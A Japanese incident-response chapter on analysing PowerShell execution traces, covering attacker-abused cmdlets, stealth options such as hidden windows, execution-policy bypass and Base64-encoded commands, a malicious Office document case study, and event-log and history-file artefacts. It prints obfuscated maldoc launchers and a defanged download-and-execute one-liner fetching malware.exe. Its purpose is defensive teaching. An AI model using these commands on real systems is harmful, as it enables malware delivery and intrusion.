14章
1 PowerShell実行痕跡の解析
PowerShellの概要と攻撃への悪用
PowerShell(Windows PowerShell)は、Microsoft社が提供するWindows 7以降のOSに標準で搭載されています。従来のコマンドラインツール(cmd.exe)では提供されない、システム管理機能に長けていることが大きな特徴の一つです。またスクリプト言語としての開発もしやすく、Microsoft社は高機能なCLIツールとして利用を推奨しています。
PowerShellは、Microsoft社が提供する開発プラットフォームの「.NET Framework(ドットネット・フレームワーク)」上で動作しています。.NET Frameworkは、概念としてOSとアプリケーションの間の仮想的な階層に存在し、アプリケーションからOSに対してさまざまな処理命令を実行できる「クラス・ライブラリ」という機能群(API)を提供します。クラス・ライブラリを利用した.NET Frameworkアプリケーションは、プログラミング言語の「C#」や「Visual Basic」などによって開発されています。一方、PowerShellは、クラス・ライブラリを利用したさまざまな機能を、従来のコマンドのようにコンソールから入力できる「コマンドレット」として提供しています。
次のリストは、PowerShellにより、スクリプトファイル(test.ps1)をインターネットからダウンロードして実行する例です。
###################
## 1.ダウンロード
PS > Invoke-WebRequest hxxp://xxx.example.com/test.ps1 -outfile .\test.ps1
###################
## 2.ダウンロードしたファイルの確認(ディレクトリリスト表示)
PS > Get-ChildItem .\
ディレクトリ: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2022/04/19 10:29 13 test.ps1
###################
## 3.ダウンロードしたファイルの内容表示
PS > Get-Content .\test.ps1
Get-Process
###################
## 4. スクリプトファイルの実行
PS > Invoke-Expression .\test.ps1
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
231 15 3120 13912 0.36 15156 0 aesm_service
229 21 3912 13408 11.94 6060 0 AppleMobileDeviceService
400 24 15416 31112 0.14 4956 6 ApplicationFrameHost
127 8 1588 6152 0.02 6040 0 armsvc
728 51 112172 147324 98.00 272 6 atmgr
246 14 65276 25484 0.28 10632 0 audiodg
562 29 23452 1484 0.59 8684 6 Calculator
上記1~3の各コマンドレットでは、次の処理を行っています。
- ウェブサイトから、PCのローカルディスクへスクリプトファイルをダウンロード(Invoke-WebRequestコマンドレット)
- ダウンロードURL:
hxxp://xxx.example.com/test.ps1※ PowerShellのスクリプトファイル(cmd.exeでは、batファイルに該当)は、拡張子が「.ps1」
- ダウンロードURL:
- ダウンロードしたスクリプトファイルを確認(Get-ChildItemコマンドレット)
- カレントディレクトリに test.ps1 が保存されている
- カレントディレクトリに test.ps1 が保存されている
- ダウンロードしたスクリプトファイルを表示(Get-Contentコマンドレット)
- test.ps1 のスクリプトの内容は、プロセス一覧を表示する「Get-Process」コマンドレットの1行のみ
- test.ps1 のスクリプトの内容は、プロセス一覧を表示する「Get-Process」コマンドレットの1行のみ
- スクリプトファイルを実行(Invoke-Expressionコマンドレット)
コマンドレットには、長い名称の省略や他のコマンドラインツールと互換性をもつために、エイリアスという別名が付与されています。コマンドレット名からエイリアスを調べる場合は、PowerShellのコンソールから次のように入力します。
Get-Alias -definition ”コマンドレット名”
例えば、先の例で紹介した「Get-ChildItem」(ディレクトリ等の一覧表示)には「gci」という省略形のほか、「dir」「ls」という、WindowsコマンドやLinuxコマンドとして馴染み深いエイリアスがあります。
また、サイバー攻撃で多用される「Invoke-Expression」(スクリプト実行)には、「iex」というエイリアスがあります。なお、Windows OS では、基本的にアルファベットの大文字と小文字は区別されませんので、「IEX」「iex」「Iex」のいずれでも実行できます。
次のリストは、Get-Aliasコマンドレットで上記のエイリアスを確認した結果です。
PS > Get-Alias -definition Get-ChildItem
CommandType Name Version Source
----------- ---- ------- ------
Alias dir -> Get-ChildItem
Alias gci -> Get-ChildItem
Alias ls -> Get-ChildItem
PS > Get-Alias -definition Invoke-Expression
CommandType Name Version Source
----------- ---- ------- ------
Alias iex -> Invoke-Expression
なお、エイリアスから逆引きする場合は、以下のように入力します。
PS > Get-Alias -name iwr
CommandType Name Version Source
----------- ---- ------- ------
Alias iwr -> Invoke-WebRequest
また、PowerShellは、「Windows PowerShell」アプリのコンソールから実行するだけではなく、cmd.exe のコマンドプロンプト(従来のコマンドラインツール)からも実行できます。
コマンドプロンプトからPowerShellを実行する場合は、次のリストのように「powershell」コマンドの引数として、コマンドレットやスクリプトファイルを指定します。
## コマンドレットの実行
> powershell -Command "Get-ChildItem C:\Temp"
※ 「-Command」は「-c」と省略可、またデフォルトオプションのため指定しなくてもよい
## スクリプトファイルの実行
> powershell -File "C:\Temp\test.ps1"
※ 「-File」は「-f」と省略可
PowerShellは、その利便性により一般的な普及が進む一方、攻撃者にとっても有益な機能が多いため、サイバー攻撃に悪用されるケースが増えています。
近年では、WordやExcel等、MS Office文書ファイルのマクロから、密かにPowerShellを呼び出してマルウェアのダウンロードや起動を行うなど、初期侵入のフェーズでの悪用が増加しています。セキュリティ関係のリサーチャーやベンダーの中では、そのような悪性の文書は「Maldoc(マルドック)」と呼ばれています(以降、攻撃者が利用する悪性の文書ファイルを「Maldoc」と呼びます)。
攻撃者が悪用する代表的なPowerShellコマンドレットを、次に例示します。
ダウンロード
Invoke-WebRequest
構文
Invoke-WebRequest [-Uri] (URI) [-out (保存ファイル名)]エイリアス
iwr , wget , curl
WebClientクラス(New-Objectコマンドレットでインスタンス化して使用)
- 構文
WebClientインスタンス.DownloadFile( "(URI)", "(保存ファイルパス)" ) - 実行例
PS > $url = "http://xxx.example.com/test.ps1" PS > $wc = New-Object System.Net.WebClient PS > $wc.DownloadFile($url, "C:\Temp\test2.ps1")- 構文
スクリプトの実行
Invoke-Expression
構文
Invoke-Expression [-Command] (コマンドString) [(コマンドの引数)]エイリアス
iex
Invoke-Command
構文
Invoke-Command [-FilePath] (スクリプトファイル名)エイリアス
icm
実行ファイルの起動
Start-Process
構文
Start-Process [-FilePath] (実行ファイル名) [-ArgumentList] (実行ファイルの引数)エイリアス
saps , start
Invoke-Item
構文
Invoke-Item [-Path] (実行ファイル名)エイリアス
ii
ファイル操作
Copy-Item(複写)
構文
Copy-Item [-Path] (コピー元ファイル名) [-Destination] (コピー先ファイル名)エイリアス
copy , cp , cpi
Move-Item(移動)
構文
Move-Item [-Path] (移動元ファイル名) [-Destination] (移動先ファイル名)エイリアス
mi , move , mv
Remove-item(削除)
構文
Remove-Item [-Path] (削除するファイル名)エイリアス
del , erase , rd , ri , rm , rmdir
Rename-Item(リネーム)
構文
Rename-Item [-Path] (元のファイル名) [-NewName] (リネーム後のファイル名)エイリアス
ren , rni
また、攻撃者がMaldocに仕込んだPowerShellスクリプトを実行させる際、cmd.exeから「powershell」コマンドでスクリプトを起動(powershell ”コマンドレット”)するような実装が多用されています。その際、正規利用者に気づかれないよう、ディスプレイに表示されるコンソールウィンドウの抑止、スクリプト実行制限の回避、スクリプト難読化などを実現するため、次のような実行オプションが使用されます。
実行オプション
- -NoProfile(省略形: -nop)
- プロファイル設定を読み込まない
- プロファイル設定を読み込まない
- -NonIteractive(省略形: -noni)
- 対話的なプロンプトを表示しない
- 対話的なプロンプトを表示しない
- -WindowStyle hidden(省略形: -w hidden)
- スクリプト実行時にコンソールウィンドウを表示しない
- スクリプト実行時にコンソールウィンドウを表示しない
- -ExecutionPolicy Bypass(省略形: -ep bypass)
- すべてのスクリプト実行制限を無視し、エラーや確認メッセージの表示を抑制
- すべてのスクリプト実行制限を無視し、エラーや確認メッセージの表示を抑制
- -EncodedCommand(省略形: -en、-enc、-e)
- Base64でエンコード(難読化)されたPowerShellスクリプトの実行
- Base64でエンコード(難読化)されたPowerShellスクリプトの実行
以下は、典型的なMaldocによる起動コマンドの例です。実行するコマンドレットはBase64で難読化(「KAAgAE4A…」)されており、一見しただけではコマンドの目的がわからないようにしています。
cmd.exe /c powershell -nop -noninteractive -windowstyle hidden -executionpolicy bypass -en KAAgAE4AZQBXAC0AbwBiAEoARQBjAFQAIAAgAFMAWQBTAHQARQBNA...(以下、省略)
PowerShellを利用した攻撃の例
攻撃者の常套手段として、ばらまき型のなりすましメールや標的型攻撃メールに、WordやExcelの文書ファイルに偽装したMaldocを添付して、侵入を試みる方法があります。またメールフィルターを回避するために、ファイルをパスワード付きZIPで圧縮したり、ファイルを添付せずURLリンクのみを記載して、ターゲットにMaldocをダウンロードさせる方法も観測されています。いずれも、業務上の重要な文書であるかのように装うなどして、ターゲットがMaldocを開くよう誘導します。
Maldocにより、ターゲットのPCでスクリプトを起動するためには、WordやExcelの自動実行マクロが多用されます。自動実行マクロでは、VBS/VBA等のスクリプトからPowerShellを呼び出すことで、マルウェア本体のダウンロードや起動を行うパターンが観測されています。
Microsoft社の対策により、MS Officeのデフォルト設定でマクロ実行は無効化されるようになりました。しかし攻撃者が、ターゲットにマクロを有効化させるよう、デコイ文書(偽装文書)で有効化ボタンのクリックを誘導する工作もみられます。
(マクロ有効化を誘導するデコイ文書の例)

ターゲットがマクロを有効化してしまうと、悪性のスクリプトが実行されます。
(実行されるVBAスクリプトのサンプル)

上記例のVBAでは、Base64でエンコード(難読化)したPowerShellスクリプトが、文字列連結処理で生成されたうえ、WScript.ShellインスタンスのRunメソッドで実行されます。実行されるPowerShellスクリプトは、次のような内容です。
cMd /c pOWeRshELl -wINdoWstYlE hIdDEn -en LQBKAG8AaQBuACgAIAAnADIANgB7ADY...(以下、省略)
cmd.exeからpowershellを呼び出すコマンド部分は、アルファベットの大文字と小文字をランダムに使用することで、読みにくくされています。小文字にそろえてみましょう。
cmd /c powershell -windowstyle hidden -en LQBKAG8AaQBuACgAIAAnADIANgB7ADY...(以下、省略)
「-en」オプション以降の、実行されるPowerShellスクリプト部分(LQBKAG8A・・・以下)をBase64デコードすると、次のような内容になります。
-Join( '26{61n37n60~56@54-126}4c54a49{1...【中略】...54'.SPlIT( 'oac}-mn~@{' ) |forEaCh-OBJeCt{ [CHAr]( $_ -bxoR "0x53") }) | invOkE-ExPrEsSioN
このように、Base64デコードしたPowerShellスクリプトも、文字列連結やバイナリ変換などの方法で、さらに難読化されているケースもあります。
上の例で、デコードしたスクリプト末尾の「invOkE-ExPrEsSioN」は、大文字小文字を適切にそろえると「Invoke-Expression」ですので、スクリプトを実行するコマンドレットです。難読化されたスクリプトは、最終的にパイプでInvoke-Expressionコマンドレットに送られ、実行されることがわかります。
このMaldocを実際に動的解析環境で開くと、外部サイトから実行ファイルをダウンロードして起動するスクリプトが実行されます。最終的にInvoke-Expressionに送られて実行されるのは、以下のワンライナー(「;」で複数のコマンドレットを区切り、1行で記述したスクリプト)です。
※ 安全のため、一部の文字列を改変しています。
Invoke-WebRequest hxxp://example[.]cdi/payload.txt -OutFile $env:TEMP\malware.exe;Start-Process $env:TEMP\malware.exe
攻撃者は、このような多重の難読化により、ターゲットやリサーチャーによる検知や解析を回避しようとします。また、偽装したショートカットファイル(.lnk)のリンク先に、難読化した悪性スクリプトを仕込むという手口もみられます。
(偽装したショートカットファイルの例)

上記例では、実際のファイル名は「Security-Alart.pdf.lnk」ですが、エクスプローラーのUI上では上図のように、PDFファイルに錯誤するようなショートカット名(Security-Alart.pdf)が表示されます。これをPDFファイルと誤信して、ダブルクリックで開こうとすると、リンク先に登録されたコマンド(難読化されたPowerShellスクリプト)が実行されます。
インシデント調査では、スクリプトが難読化されている可能性を念頭において、実行履歴や痕跡の解析にのぞむ必要があります。
PowerShellが実行された痕跡
イベントログ
インシデント対応において、PowerShellの実行履歴を確認する場合、イベントログの調査が有効な方法です。なお、Windows OSやPowerShellのバージョンにより、PowerShell関連イベントの監査がデフォルトで無効になっている場合があります。その場合は、イベントログにPowerShellの実行履歴が記録されません。組織内のサーバーやPCについては、グループポリシーやイベントビューアーで監査の有効/無効を確認し、有効化しておくことを推奨します。
PowerShellの実行履歴が記録されるイベントログのカテゴリは、次の2種類です。
1. Windows PowerShell
イベントID:600(プロバイダの開始)などに、実行されたPowerShellスクリプトが記録されます。PowerShellの実行履歴を確認するにあたっては、重要かつ有用なアーティファクトです。
記録されるイベントログ・ファイル名
Windows PowerShell.evtx

2. Microsoft-Windows-PowerShell Operational
- イベントID:4100 (パイプラインの実行)に、実行エラー等の警告が出されたPowerShellスクリプトや、エラー内容などが記録されます。エラー内容には、難読化が解除された形のコマンドレットが表示される場合もあります。正常に実行された場合は記録されませんが、攻撃のタイムラインを追ううえで、補助的なアーティファクトとしての活用を推奨します。
- 記録されるイベントログ・ファイル名
Microsoft-Windows-PowerShell%4Operational.evtx

また、PowerShell 5.0以降では、新たに「スクリプトブロックのログ記録」機能が追加されました。スクリプトブロックのログ記録が有効になっている場合、イベントID:4104(Scriptblockテキストの作成)に、実際に実行された平文のスクリプトが記録されます。

スクリプトブロックのログ記録は、デフォルトでは無効化されていますが、次のレジストリキーの追加もしくはグループポリシー設定により有効化できます。
- レジストリキー
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1 (DWORD)
- グループポリシー
管理用テンプレートーWindowsコンポーネントーWindows PowerShellーPowerShellスクリプトブロックのログ記録を有効にする
イベントログの調査方法
上記で示したとおり、PowerShellの実行履歴は、イベントビューアーで参照できます。ログ件数が大量でなければ、イベントビューアーの検索やフィルター機能で調査が可能でしょう。
大量のログから痕跡を調査する場合は、インシデントレスポンスの主な調査対象となるイベントを一括して抽出(クエリ)できる、Microsoft社提供の「Log Parser Studio」などを活用しましょう。
実際に不審なスクリプトの実行履歴を調査する具体的な手法については、後続の Hands-on-1 で紹介します。
PowerShellコンソールのHistoryファイル
PowerShellの実行履歴は、イベントログのほかにも、各ユーザー別のHistoryファイルに記録される場合があります。LinuxシェルのコマンドHistoryと同様のものと考えてよいでしょう。ただし、利用者や攻撃者が、Windows PowerShellアプリのコンソールから実行したものに限ります。
Maldocのマクロなどから実行された場合は、記録される可能性が低いでしょう。しかし、正規ユーザーが実行したものをイベントログの調査対象から除外するために参照するなど、インシデント対応に活用されるケースも想定されます。
Historyファイルは、各ユーザープロファイルの、次のファイルに記録されます。
- フォルダ
C:\Users\<ユーザー>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLineユーザー>
- ファイル名
ConsoleHost_history.txt
(Historyファイルの記録例)
pwd
Get-Help Invoke-WebRequest
cd c:\
cls
$datafile = .\axd2_data\
$datafile = ".\axd2_data"
Get-Childitem -r $datafile| measure-object | findstr Count
Get-Childitem -r $datafile | Where-Object { $_.PSIsContainer } | measure-object | findstr Count